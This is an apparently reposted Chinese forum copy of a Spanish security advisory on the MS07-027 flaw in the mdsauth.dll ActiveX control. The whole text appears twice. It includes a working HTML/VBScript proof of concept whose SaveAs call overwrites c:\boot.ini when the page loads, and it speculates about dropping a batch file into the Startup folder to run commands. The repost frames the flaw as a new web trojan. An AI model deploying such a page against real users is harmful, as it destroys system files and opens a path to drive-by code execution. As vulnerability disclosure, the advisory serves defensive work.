P.S 老外那边看到的.
MS已经发补丁了.这漏洞算是一个新的网马吧.
Hemos estado trasteando con una serie de controles Activex presentes en un Windows 2000 server completamente parcheado, y el resultado ha sido que 25 de estos activex son vulnerables de una u otra manera (desde stack overflows hasta simples denegaciones de servicio por la ausencia de ciertos parámetros)
Uno de los modulos que daba mas juego son los componentes del servicio "Windows media", cuyos fallos han sido parcheados en el último boletin de microsoft MS07-027
El componente que vamos a comentar es el {d4fe6227-1288-11d0-9097-00aa004254a0} NMSA Session Description Object (Ver 1.0) gestionado por la libreria mdsauth.dll.
Este componente tiene un método seguro llamado SaveAS que cuando es invocado escribe el fichero especificado en el disco.
El problema es que el contenido del fichero no es completamente controlable, por lo que solo ciertas cadenas de texto, especificadas como parámetro, llegarán a ser escritas en disco en ciertas partes del fichero.
De esta forma, el impacto que se puede obtener podría llegar a ser el siguiente:
- Denegacion de servicio: sobreescribiendo librerias o ficheros válidos del sistema, como por ejemplo c:\boot.ini
- Ejecución de código: si bien este supuesto no ha sido verificado, quizas sea posible, salvando el fichero en "%userprofile%\Start up" como un fichero .bat, llegar a ejecutar alguno de los comandos especificados en el parámetro del componente.
Para este último supuesto, tenemos un problema añadido, y es que dichas cadenas son guardadas en Unicode (UTF16). En teoría sería posible especificar alguna cadena que trás algun tipo de encode llegue a ser válida al convertirse a utf16 y de ahi llegar a ejecutar comandos. Si es posible o no, os lo dejamos como ejercicio para casa.
Por último, os adjunto una prueba de concepto de la vulnerabilidad.
<html>
<title> MS07-027 mdsauth.dll NMSA Session Description Object SaveAs control, arbitrary file modification </title>
<body>
<OBJECT id="target" classid="clsid:d4fe6227-1288-11d0-9097-00aa004254a0">
</OBJECT>
<script language="vbscript">
//The followin strings are converted to UTF16 inside the SaveAs file
target.SessionDescription="MS07-027 mdsauth.dll Proof of Concept exploit"
target.SessionAuthor="Andres Tarasco Acuna"
target.SessionEmailContact="atarasco_at_gmail.com"
target.SessionURL="http://h4x0r.0x54.org
target.SaveAs "c:\boot.ini"
</script>
</body>
</html>
-- Vendor Response:
Microsoft has issued an update to correct this vulnerability. More
details can be found at:
http://www.microsoft.com/technet/security/bulletin/ms07-027.mspx
完
MS已经发补丁了.这漏洞算是一个新的网马吧.
Hemos estado trasteando con una serie de controles Activex presentes en un Windows 2000 server completamente parcheado, y el resultado ha sido que 25 de estos activex son vulnerables de una u otra manera (desde stack overflows hasta simples denegaciones de servicio por la ausencia de ciertos parámetros)
Uno de los modulos que daba mas juego son los componentes del servicio "Windows media", cuyos fallos han sido parcheados en el último boletin de microsoft MS07-027
El componente que vamos a comentar es el {d4fe6227-1288-11d0-9097-00aa004254a0} NMSA Session Description Object (Ver 1.0) gestionado por la libreria mdsauth.dll.
Este componente tiene un método seguro llamado SaveAS que cuando es invocado escribe el fichero especificado en el disco.
El problema es que el contenido del fichero no es completamente controlable, por lo que solo ciertas cadenas de texto, especificadas como parámetro, llegarán a ser escritas en disco en ciertas partes del fichero.
De esta forma, el impacto que se puede obtener podría llegar a ser el siguiente:
- Denegacion de servicio: sobreescribiendo librerias o ficheros válidos del sistema, como por ejemplo c:\boot.ini
- Ejecución de código: si bien este supuesto no ha sido verificado, quizas sea posible, salvando el fichero en "%userprofile%\Start up" como un fichero .bat, llegar a ejecutar alguno de los comandos especificados en el parámetro del componente.
Para este último supuesto, tenemos un problema añadido, y es que dichas cadenas son guardadas en Unicode (UTF16). En teoría sería posible especificar alguna cadena que trás algun tipo de encode llegue a ser válida al convertirse a utf16 y de ahi llegar a ejecutar comandos. Si es posible o no, os lo dejamos como ejercicio para casa.
Por último, os adjunto una prueba de concepto de la vulnerabilidad.
<html>
<title> MS07-027 mdsauth.dll NMSA Session Description Object SaveAs control, arbitrary file modification </title>
<body>
<OBJECT id="target" classid="clsid:d4fe6227-1288-11d0-9097-00aa004254a0">
</OBJECT>
<script language="vbscript">
//The followin strings are converted to UTF16 inside the SaveAs file
target.SessionDescription="MS07-027 mdsauth.dll Proof of Concept exploit"
target.SessionAuthor="Andres Tarasco Acuna"
target.SessionEmailContact="atarasco_at_gmail.com"
target.SessionURL="http://h4x0r.0x54.org
target.SaveAs "c:\boot.ini"
</script>
</body>
</html>
-- Vendor Response:
Microsoft has issued an update to correct this vulnerability. More
details can be found at:
http://www.microsoft.com/technet/security/bulletin/ms07-027.mspx
完
您现在的位置: 
